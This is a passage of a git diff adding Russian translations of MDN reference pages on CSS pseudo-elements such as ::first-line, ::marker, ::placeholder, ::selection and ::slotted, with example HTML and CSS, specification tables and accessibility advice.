+ <li>Все свойства для внутренних отступов: {{ Cssxref("padding") }}, {{ Cssxref("padding-top") }}, {{ Cssxref("padding-right") }}, {{ Cssxref("padding-bottom") }}, {{ Cssxref("padding-left") }}</li>
+ <li>Все свойства, связанные с рамкой: сокращения {{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}, {{ cssxref("border-width") }}, {{ cssxref("border-radius") }}, {{cssxref("border-image")}} и полные записи свойств</li>
+ <li>Свойства {{ cssxref("color") }}</li>
+ <li>Свойства {{ cssxref("text-decoration") }}, {{cssxref("text-shadow")}}, {{ cssxref("text-transform") }}, {{ cssxref("letter-spacing") }}, {{ cssxref("word-spacing") }} (when appropriate), {{ cssxref("line-height") }}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{ cssxref("float") }}, {{ cssxref("vertical-align") }} (только если <code>float</code> равен <code>none</code>)</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Сделаем первую букву каждого абзаца красной и большой.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
+  ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
+  dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est.&lt;/p&gt;
+&lt;p&gt;Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
+  aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit
+  esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;-Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;_Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;"Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;'Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;*Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;#Начало специального знака препинания.&lt;/p&gt;
+&lt;p&gt;「特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;《特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;“特殊的汉字标点符号开头。&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p::first-letter {
+  color: red;
+  font-size: 130%;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', '80%', 420) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td>
+   <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Обобщает разрешённые свойства до типографических, оформления текста, инлайн свойств разметки, {{cssxref("opacity")}} и {{ cssxref("box-shadow") }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-letter')}}</td>
+   <td>{{ Spec2('CSS3 Text Decoration')}}</td>
+   <td>Разрешает использовать {{cssxref("text-shadow")}} с <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Введение синтаксиса с двумя двоеточиями. Определения поведения в граничных случаях, таких как внутри элементов списка или для некоторых специфичных языков (например Нидерландский диграф <code>IJ</code>).</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Нет измененений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение, используя синтаксис с одним двоеточием.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.first-letter")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{cssxref("::first-line")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_first-line/index.html b/files/ru/web/css/_doublecolon_first-line/index.html
new file mode 100644
index 0000000000..1a0af1b71b
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_first-line/index.html
@@ -0,0 +1,118 @@
+---
+title: '::first-line (:first-line)'
+slug: 'Web/CSS/::first-line'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Псевдоэлементы
+translation_of: 'Web/CSS/::first-line'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> <strong><code>::first-line</code></strong> применяет стили к первой строке <a href="/ru/docs/Web/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">блочного элемента</a>.</span> Обратите внимание, что длина первой строки зависит от многих факторов, включая ширину элемента, ширину документа и размер шрифта текста.</p>
+
+<pre class="brush: css no-line-numbers">/* Стили для первой строки элемента &lt;p&gt; */
+p::first-line {
+  color: red;
+}</pre>
+
+<div class="note">
+<p>В CSS3 появилась запись <code>::first-line</code> (с двумя двоеточиями) для различения <a href="/ru/docs/Web/CSS/Pseudo-classes">псевдоклассов</a> и <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлементов</a>. Браузеры также поддерживают запись <code>:first-line</code>, введённую в CSS2.</p>
+</div>
+
+<h2 id="Разрешённые_свойства">Разрешённые свойства</h2>
+
+<p>Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом <code>::first-line</code>:</p>
+
+<ul>
+ <li>Все свойства, связанные с шрифтами: {{Cssxref("font")}}, {{cssxref("font-kerning")}}, {{Cssxref("font-style")}}, {{Cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{Cssxref("font-weight")}}, {{Cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}} и {{Cssxref("font-family")}}</li>
+ <li>Все свойства, связанные с фоном: {{Cssxref("background-color")}}, {{cssxref("background-clip")}}, {{Cssxref("background-image")}}, {{cssxref("background-origin")}}, {{Cssxref("background-position")}}, {{Cssxref("background-repeat")}}, {{cssxref("background-size")}},  {{Cssxref("background-attachment")}} и {{cssxref("background-blend-mode")}}</li>
+ <li>Свойство {{cssxref("color")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}} и {{cssxref("line-height")}}</li>
+ <li>{{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} и {{cssxref("vertical-align")}}.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Стили будут применены только к первой строке этого параграфа.
+После этого, весь текст будет отображаться как обычно. Увидели, что я имею в виду?&lt;/p&gt;
+
+&lt;span&gt;Первая строка этого элемента не будет стилизована специальным образом
+потому что это не блочный элемент.&lt;/span&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">::first-line {
+  color: blue;
+  text-transform: uppercase;
+
+
+  /* ПРЕДУПРЕЖДЕНИЕ: НЕ ИСПОЛЬЗУЙТЕ ЭТО */
+  /* Многие свойства запрещены в псевдоэлементах ::first-line */
+  margin-left: 20px;
+  text-indent: 20px;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', 350, 160)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Более точно определяет, где <code>::first-letter</code> может использоваться.<br>
+    Обобщает разрешённые свойства до типографических, оформления текста, инлайн свойств разметки и {{cssxref("opacity")}}.<br>
+    Определяет наследование <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-line')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Разрешает использовать {{cssxref("text-shadow")}} с <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-line', '::first-line')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Введение синтаксиса с двумя двоеточиями.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Нет измененений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-first-line-pseudo-element', '::first-line')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Изначальное определение, используя синтаксис с одним двоеточием.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.first-line")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{cssxref("::first-letter")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_grammar-error/index.html b/files/ru/web/css/_doublecolon_grammar-error/index.html
new file mode 100644
index 0000000000..1db392cd80
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_grammar-error/index.html
@@ -0,0 +1,86 @@
+---
+title: '::grammar-error'
+slug: 'Web/CSS/::grammar-error'
+tags:
+  - CSS
+  - Псевдо-элемент
+  - Экспериментальные
+  - селектор
+translation_of: 'Web/CSS/::grammar-error'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::grammar-error</code></strong>  представляет сегмент текста, который {{glossary("user agent")}} пометил как грамматически неверный.</p>
+
+<h2 id="Доступные_свойства">Доступные свойства</h2>
+
+<p>Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом <code>::grammar-error</code> :</p>
+
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("caret-color")}}</li>
+ <li>{{cssxref("outline")}} и его полные формы</li>
+ <li>{{cssxref("text-decoration")}} и связанные свойсва</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">::grammar-error</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простая_проверка_грамматики_документа">Простая проверка грамматики документа</h3>
+
+<p>В этом примере браузеры, поддерживающие псевдоэлемент, выделят грамматические ошибки, применив к ним заданные стили.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;My friends is coming to the party tonight.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">::grammar-error  {
+  text-decoration: underline red;
+  color: red;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Simple_document_grammar_check', '100%', 60)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-grammar-error', '::grammar-error')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.grammar-error")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("::spelling-error")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_marker/index.html b/files/ru/web/css/_doublecolon_marker/index.html
new file mode 100644
index 0000000000..e04375066e
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_marker/index.html
@@ -0,0 +1,93 @@
+---
+title: '::marker'
+slug: 'Web/CSS/::marker'
+translation_of: 'Web/CSS/::marker'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Псевдоэлемент <strong><code>::marker</code></strong> применяет стили к маркеру элемента списка, которые обычно содержит значок или номер.</span> Работает с любым элементом или псевдоэлементом, к которого установлен <code><a href="/en-US/docs/Web/CSS/display">display: list-item</a></code>, например, у такого как {{HTMLElement("li")}} или {{HTMLElement("summary")}}.</p>
+
+<pre class="brush: css no-line-numbers notranslate">::marker {
+  color: blue;
+  font-size: 1.2em;
+}</pre>
+
+<h2 id="Разрешённые_свойства">Разрешённые свойства</h2>
+
+<p>Только некоторые CSS-свойства могут быть использованы с <code>::marker</code> в качестве селектора:</p>
+
+<ul>
+ <li>Все <a href="/en-US/docs/Web/CSS/CSS_Fonts">свойства шрифтов</a></li>
+ <li>{{CSSxRef("white-space")}}</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("text-combine-upright")}}, {{CSSxRef("unicode-bidi")}} и {{CSSxRef("direction")}} </li>
+ <li>Свойство {{CSSxRef("content")}}</li>
+ <li>Все <a href="/en-US/docs/Web/CSS/CSS_Animations#CSS_Properties">animation</a> и <a href="/en-US/docs/Web/CSS/CSS_Transitions#Properties">transition</a> свойства</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>The specification states that additional CSS properties may be supported in future.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Peaches&lt;/li&gt;
+  &lt;li&gt;Apples&lt;/li&gt;
+  &lt;li&gt;Plums&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">ul li::marker {
+  color: red;
+  font-size: 1.5em;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.marker")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML элементы, у которые есть маркеры списка по умолчанию: {{HTMLElement("ol")}}, {{HTMLElement("li")}}, {{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_placeholder/index.html b/files/ru/web/css/_doublecolon_placeholder/index.html
new file mode 100644
index 0000000000..3f6624206e
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_placeholder/index.html
@@ -0,0 +1,151 @@
+---
+title: '::placeholder'
+slug: 'Web/CSS/::placeholder'
+tags:
+  - '::placeholder'
+  - CSS
+  - Псевдоэлемент
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> <strong><code>::placeholder</code></strong> представляет собой <a href="/ru/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">текст placeholder</a> в {{HTMLElement("input")}} или {{HTMLElement("textarea")}} элементах.</p>
+
+<pre class="brush: css no-line-numbers notranslate">::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}</pre>
+
+<p>В <code>::placeholder</code> можно использовать только те CSS свойства, которые разрешены в псевдоэлементе {{cssxref("::first-line")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> В большинстве браузеров по умолчанию placeholder выглядит как полупрозрачный или светлосерый текст.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Красный_текст">Красный текст</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Введите что-нибудь!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Красный_текст", 200, 60)}}</p>
+
+<h3 id="Зелёный_текст">Зелёный текст</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Введите что-нибудь..."&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+  color: green;
+}
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample("Зелёный_текст", 200, 60)}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<h3 id="Цветовой_контраст">Цветовой контраст</h3>
+
+<h4 id="Контрастность">Контрастность</h4>
+
+<p>Текст placeholder обычно имеет более светлую расцветку и содержит информацию о том, какие введённые данные будут допустимы, но при этом не является текущими введёнными данными.</p>
+
+<p>Важно обеспечить достаточный цветовой контраст между placeholder и фоном, чтобы люди со слабым зрением могли его прочитать, но при этом должна быть достаточная разница между введённым текстом и текстом placeholder, чтобы пользователь не путал их.</p>
+
+<p>Коэффициент цветового контраста определяется путём сравнения яркости текста placeholder и цветом фона формы ввода. Чтобы соответствовать рекомендациям <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, требуется соотношение 4.5:1 для основного текста и 3:1 для более крупного текста, например, заголовков. Крупный текст определяется как 18.66px и больше с жирным начертанием или 24px и больше с обычным начертанием.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Использование">Использование</h4>
+
+<p>Текст placeholder с высоким цветовым контрастом может быть воспринят как введённые данные. Текст placeholder исчезает, когда пользователь вводит что-либо в {{htmlelement("input")}} элемент. Эти обстоятельства могут помешать заполнить правильно форму, особенно людям с когнитивными проблемами.</p>
+
+<p>Другой подход к представлению информации placeholder заключается в том, чтобы расположить её вне формы ввода в непосредственной близости от неё, а затем использовать <code><a href="/ru/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> для программного связывания {{HTMLElement("input")}} элемента с подсказкой.</p>
+
+<p>В таком случае содержимое подсказки будет доступно даже в том случае, если что-то введено в форму. Большинство скринридеров используют <code>aria-describedby</code> для чтения подсказок после того, как будет прочитан текст метки формы. Пользователь может отключить эту функцию, если дополнительная информация окажется ему ненужной.</p>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;label for="user-email"&gt;Ваш email адрес&lt;/label&gt;
+&lt;span id="user-email-hint" class="input-hint"&gt;Пример: jane@sample.com&lt;/span&gt;
+&lt;input id="user-email" aria-describedby="user-email-hint" name="email" type="email"&gt;
+</pre>
+
+<ul>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h3 id="Режим_высокой_контрастности_Windows">Режим высокой контрастности Windows</h3>
+
+<p>Текст placeholder будет отображаться с теми же стилями, что и введённый пользователем текст при работе в <a href="/ru/docs/Web/CSS/-ms-high-contrast">режиме высокой контрастности Windows</a>. Это вызовет затруднения с определением того какой текст был введён, а какой является placeholder.</p>
+
+<ul>
+ <li><a href="http://www.gwhitworth.com/blog/2017/04/how-to-use-ms-high-contrast">Greg Whitworth — How to use -ms-high-contrast</a></li>
+</ul>
+
+<h3 id="Метки">Метки</h3>
+
+<p>Placeholder не является заменой элемента {{htmlelement("label")}}. Без метки, которая программно связывается с формой с помощью {{htmlattrxref("for", "label")}} и {{htmlattrxref("id")}} аттрибутов, такие программы, как скринридеры не смогут анализировать элементы {{htmlelement("input")}}.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/forms/Basic_form_hints">MDN Basic form hints</a></li>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Первоначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.placeholder")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Псевдокласс {{cssxref(":placeholder-shown")}}, который позволяет применять стили к элементу с <em><strong>активным </strong></em>placeholder.</li>
+ <li>Связанные HTML элементы: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li><a href="/ru/docs/Learn/HTML/Forms">HTML-формы</a></li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_selection/index.html b/files/ru/web/css/_doublecolon_selection/index.html
new file mode 100644
index 0000000000..a359df7cd1
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_selection/index.html
@@ -0,0 +1,109 @@
+---
+title: '::selection'
+slug: 'Web/CSS/::selection'
+tags:
+  - CSS
+  - Experimental
+  - Layoout
+  - Reference
+  - Псевдоэлементы
+translation_of: 'Web/CSS/::selection'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлемент</a> <strong><code>::selection</code> </strong>позволяет применить стили к части документа, который был выделен пользователем (например, с помощью мыши).</span></p>
+
+<pre class="brush: css no-line-numbers">::selection {
+  background: cyan;
+}</pre>
+
+<h2 id="Разрешённые_свойства">Разрешённые свойства</h2>
+
+<p>Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом <code>::selection</code> :</p>
+
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("caret-color")}}</li>
+ <li>{{cssxref("outline")}} и его длинные записи</li>
+ <li>{{cssxref("text-decoration")}} и связанные свойства</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+</ul>
+
+<div class="warning">
+<p>Заметим, что, в частности, свойство {{cssxref("background-image")}} игнорируется.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">/* синтаксис Firefox */
+::-moz-selection
+
+{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Этот текст будет стилизован особым образом при выделении.&lt;/div&gt;
+&lt;p&gt;Также попробуйте выделить текст в этом параграфе.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Сделаем выделенный текст золотым с красным фоном */
+::-moz-selection {
+  color: gold;
+  background: red;
+}
+
+::selection {
+  color: gold;
+  background: red;
+}
+
+/* Сделаем выделенный в параграфе текст белым на синем фоне */
+p::-moz-selection {
+  color: white;
+  background: blue;
+}
+
+p::selection {
+  color: white;
+  background: blue;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-selection', '::selection')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Примечание:</strong> Хотя псевдоэлемент <code>::selection</code> присутствовал в черновиках стандарта CSS Selectors Level 3, он был убран в течение фазы Candidate Recommendation, так как его поведение было недостаточно проработано (особенно с вложенным элементами) и согласованность не была достигнута <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2008Oct/0268.html">(основываясь на обсуждении в списке рассылки W3C Style)</a>. Этот псевдоэлемент был возвращён в <a href="http://dev.w3.org/csswg/css-pseudo-4/">Pseudo-Elements Level 4</a>.</p>
+</div>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.selection")}}</p>
+</div>
diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html
new file mode 100644
index 0000000000..e64d20abe3
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_slotted/index.html
@@ -0,0 +1,106 @@
+---
+title: '::slotted()'
+slug: 'Web/CSS/::slotted'
+translation_of: 'Web/CSS/::slotted'
+---
+<div>{{ CSSRef }}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::slotted()</code></strong> представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p>
+
+<p>Это работает только при использовании внутри CSS, помещенного в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещенный в слот */
+::slotted(*) {
+  font-weight: bold;
+}
+
+/* Выбирает только &lt;span&gt;, помещенный в слот */
+::slotted(span) {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующие фрагменты взяты из нашей демо  <a href="https://github.com/mdn/web-components-examples/tree/master/slotted-pseudo-element">slotted-pseudo-element</a>  (<a href="https://mdn.github.io/web-components-examples/slotted-pseudo-element/">see it live also</a>).</p>
+
+<p>В этом демо мы использовали простой шаблом с тремя слотами:</p>
+
+<pre class="brush: html notranslate">&lt;template id="person-template"&gt;
+  &lt;div&gt;
+    &lt;h2&gt;Personal ID Card&lt;/h2&gt;
+    &lt;slot name="person-name"&gt;NAME MISSING&lt;/slot&gt;
